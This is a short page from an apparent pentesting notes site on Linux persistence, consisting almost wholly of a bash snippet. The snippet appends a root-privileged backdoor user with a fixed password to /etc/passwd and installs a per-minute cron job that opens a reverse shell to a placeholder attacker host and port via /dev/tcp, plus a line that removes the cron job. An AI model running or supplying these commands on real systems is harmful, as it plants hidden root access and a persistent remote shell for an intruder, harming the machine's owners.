> For the complete documentation index, see [llms.txt](https://michel-disbergen.gitbook.io/hack-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://michel-disbergen.gitbook.io/hack-notes/linux-pentesting/2.-persistence.md).

# 2. Persistence

1. **add a user to** `/etc/passwd` **& callback cronjob**

```bash
# 1. Add root user tempUserG:DiffPword951 if doesn't already exist
grep -q '^tempUserG:' /etc/passwd || echo "tempUserG:$(openssl passwd -1 DiffPword951):0:0::/root:/bin/bash" >> /etc/passwd

# 2. add a cron job that calls with a reverse bash shell for every minute
(crontab -l 2>/dev/null | grep -Fv "/dev/tcp/{{LHOST}}/{{LPORT}}"; echo "*/1 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1'") | crontab -

# remove the cron job
crontab -l 2>/dev/null | grep -Fv "/dev/tcp/{{LHOST}}/{{LPORT}}" | crontab -
```
